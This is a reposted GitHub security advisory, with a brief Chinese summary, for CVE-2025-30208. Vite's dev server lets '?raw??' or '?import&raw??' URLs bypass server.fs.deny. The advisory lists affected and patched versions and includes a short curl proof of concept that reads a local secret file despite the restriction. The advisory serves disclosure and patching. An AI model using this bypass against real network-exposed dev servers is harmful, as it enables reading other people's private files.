Vite 绕过 server.fs.deny 的方法
Vite 存在安全漏洞(CVE-2025-30208),允许通过特定 URL 参数绕过文件访问限制,返回任意文件内容。受影响版本包括多个 Vite 版本,在配置为网络暴露时更易受攻击。已发布补丁版本修复问题。 2025-3-27 09:7:21 Author: github.com(查看原文) 阅读量:12 收藏

Vite bypasses server.fs.deny when using ?raw??

Moderate severity GitHub Reviewed Published Mar 24, 2025 in vitejs/vite • Updated Mar 25, 2025

Affected versions

>= 6.2.0, < 6.2.3

>= 6.1.0, < 6.1.2

>= 6.0.0, < 6.0.12

>= 5.0.0, < 5.4.15

< 4.5.10

Patched versions

6.2.3

6.1.2

6.0.12

5.4.15

4.5.10

Description

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

References

Published to the GitHub Advisory Database

Mar 25, 2025

Last updated

Mar 25, 2025

文章来源: https://github.com/advisories/GHSA-x574-m823-4x7w
如有侵权请联系:admin#unsafe.sh